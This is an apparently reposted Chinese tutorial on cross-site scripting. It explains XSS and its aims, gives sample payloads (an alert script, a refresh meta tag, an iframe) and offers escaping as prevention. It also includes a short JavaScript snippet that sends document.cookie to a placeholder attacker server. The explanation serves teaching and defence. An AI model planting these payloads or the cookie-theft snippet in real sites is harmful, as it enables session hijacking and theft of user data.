• XSS攻击与防止


    1.XSS又称CSS, cross sitescript, 跨站脚本攻击,是web程序中常见的漏洞

    • XSS属于被动式且用于客户端的攻击方式
    • XSS攻击类似于SQL注入攻击,攻击之前,我们先找到一个存在XSS漏洞的网站,XSS漏洞分为两种,一种是DOM Based XSS漏洞,另一种是Stored XSS漏洞。
    • XSS其实就是Html的注入问题,攻击者的输入没有经过严格的控制进入了数据库,最终显示给来访的用户,导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码,
      数据流程如下:攻击者的Html输入—>web程序—>进入数据库—>web程序—>用户浏览器。

    2.原理: 攻击者向有XSS漏洞的网站中输入恶意的html代码,当用户浏览该网站时,这段html代码会自行执行,从而达到攻击的目的,例如盗取用户的cookie, 破坏页面结构,重定向到其它网站。

    3: 实施XSS攻击需要具备两个条件

    • 需要向web页面注入恶意代码
    • 这些恶意代码能够被浏览器成功的执行

    4:常见输入的恶意XSS字符

    • XSS 输入通常包含js脚本,如弹出恶意警告框: <script>alert("XSS");</script>
    • XSS 输入也可能是 HTML 代码段,譬如:网页不停地刷新 <meta http-equiv="refresh" content="0;">
    • 嵌入其它网站的链接 <iframe src=http://xxxx width=250 height=250></iframe>

    5.xss攻击的主要目的

    • 想办法获取目标攻击网站的cookie,因为有了cookie相当有了seesion, 有了这些信息就可以在任意能接近互联网的pc登录站点,登录做一些破坏。

    6. 预防措施

    • 防止下发界面现实html标签, 把</>等符号转义

    7.XSS攻击能做些什么

    • 窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码
    1. var i=document.createElement("img");
      document.body.appendChild(i);
      i.src = "http://www.hackerserver.com/?c=" + document.cookie;

    • 读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等。
    • 前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播。
  • 相关阅读:
    前端中不同页面之间传递参数的几种方式
    js中的闭包内存图
    【JavaScript基础】js中关于声明提前的几个误区
    【面试】前端面试题
    js继承的几种方式
    原生Ajax实现异步交互
    git基本使用
    一个简单的SSM框架实例(使用IDEA)
    高安全性的JavaScript
    高性能的JavaScript
  • 原文地址:https://www.cnblogs.com/W-Wait/p/14157066.html
Copyright © 2020-2023  润新知